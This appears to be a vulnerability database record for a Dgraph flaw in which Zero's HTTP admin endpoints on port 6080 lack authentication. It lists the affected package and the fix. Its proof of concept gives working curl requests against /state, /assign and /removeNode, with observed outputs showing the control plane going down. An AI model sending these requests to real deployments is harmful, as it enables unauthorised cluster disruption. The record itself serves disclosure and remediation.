{"id":"CVE-2026-102748","aliases":["GHSA-qj98-gp63-54xj"],"url":"https://o3.security/vulnerability/CVE-2026-102748","summary":"Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service","details":"### Summary\n\nDgraph `v25.3.8` exposes a Zero HTTP administrative surface that is unauthenticated when port `6080` is reachable.\n\nThe exposed routes include:\n\n- `/state`\n- `/assign`\n- `/removeNode`\n- `/moveTablet`\n\nAn unauthenticated request to `/removeNode?id=1&group=0` on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to `localhost:5080`.\n\n### Details\n\nThe issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper.\n\nRelevant code paths:\n\n- `worker/server_state.go:41`\n- `dgraph/cmd/zero/run.go:295-301`\n- `dgraph/cmd/zero/http.go:106-129`\n- `dgraph/cmd/zero/zero.go:475-477`\n\nThe relevant behavior is:\n\n- `disable-admin-http=false` by default\n- `/removeNode` accepts attacker-controlled `id` and `group`\n- `removeNode` forwards those directly into `Server.RemoveNode`\n- for `group=0`, `Server.RemoveNode` immediately calls `ProposePeerRemoval`\n\nThis means a remote unauthenticated caller can directly trigger destructive membership operations if `6080` is exposed.\n\n### PoC\n\n### Read state without authentication\n\n```bash\ncurl -i http://127.0.0.1:6080/state\n```\n\nObserved response included:\n\n- Zero node `id=1`\n- `groupId=0`\n- `leader=true`\n- cluster topology and tablet state\n\n<img width=\"1878\" height=\"810\" alt=\"图片\" src=\"https://github.com/user-attachments/assets/c6a0001c-bcf7-45b6-a301-481f918be98a\" />\n\n### Write-capable route without authentication\n\n```bash\ncurl -i 'http://127.0.0.1:6080/assign?what=nsids&num=1'\n```\n\nObserved response:\n\n```text\nHTTP/1.1 200 OK\n...\n{\"startId\":\"1\", \"endId\":\"1\", \"readOnly\":\"0\"}\n```\n\nThis confirms the admin plane is not merely informational.\n\n<img width=\"1877\" height=\"805\" alt=\"图片\" src=\"https://github.com/user-attachments/assets/caf60927-83ba-495d-8c55-e48343b8a2c7\" />\n\n### Destructive unauthenticated removeNode\n\n```bash\ncurl -i 'http://127.0.0.1:6080/removeNode?id=1&group=0'\n```\n\nObserved result:\n\n```text\ncurl: (52) Empty reply from server\n```\n\n<img width=\"1877\" height=\"806\" alt=\"图片\" src=\"https://github.com/user-attachments/assets/a837c385-1c2d-42b6-a5c9-0d93a974ff4e\" />\n\nImmediately afterward:\n\n```bash\ncurl -i http://127.0.0.1:6080/health\n```\n\nObserved result:\n\n```text\ncurl: (56) Recv failure: Connection reset by peer\n```\n\n<img width=\"786\" height=\"47\" alt=\"图片\" src=\"https://github.com/user-attachments/assets/bd5e977d-d046-4626-b3df-155b141564fa\" />\n\nAlpha health was still locally reachable, but Alpha logs began repeatedly reporting:\n\n```text\ndial tcp [::1]:5080: connect: connection refused\n```\n\n<img width=\"1688\" height=\"197\" alt=\"图片\" src=\"https://github.com/user-attachments/assets/8ae3bb84-65bc-4951-ad32-5e1c3231c894\" />\n\nThis confirms the request reached the destructive path and disrupted the Zero control plane.\n\n### Impact\n\nAny deployment that exposes Zero HTTP on `6080` exposes destructive unauthenticated administrative capabilities.\n\nAn attacker can:\n\n- read cluster topology and control-plane metadata\n- allocate IDs and timestamps\n- invoke destructive membership actions\n- disrupt the Zero control plane\n- indirectly destabilize Alpha nodes that depend on Zero connectivity\n\nThis is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.","published":"2026-10-14T18:34:15.971Z","modified":"2026-10-21T02:54:29.257139701Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/dgraph-io/dgraph/v25","fixedVersion":"25.4.0"}],"fix":{"url":"https://github.com/dgraph-io/dgraph/commit/c32f6041387fa631dbc057e265b71aec3384ead1","label":"dgraph-io/dgraph@c32f604"},"references":[{"type":"WEB","url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.4.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102748.json"},{"type":"ADVISORY","url":"https://github.com/dgraph-io/dgraph/security/advisories/GHSA-qj98-gp63-54xj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102748"},{"type":"FIX","url":"https://github.com/dgraph-io/dgraph/commit/c32f6041387fa631dbc057e265b71aec3384ead1"},{"type":"PACKAGE","url":"https://github.com/dgraph-io/dgraph"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:54:29.257139701Z"}}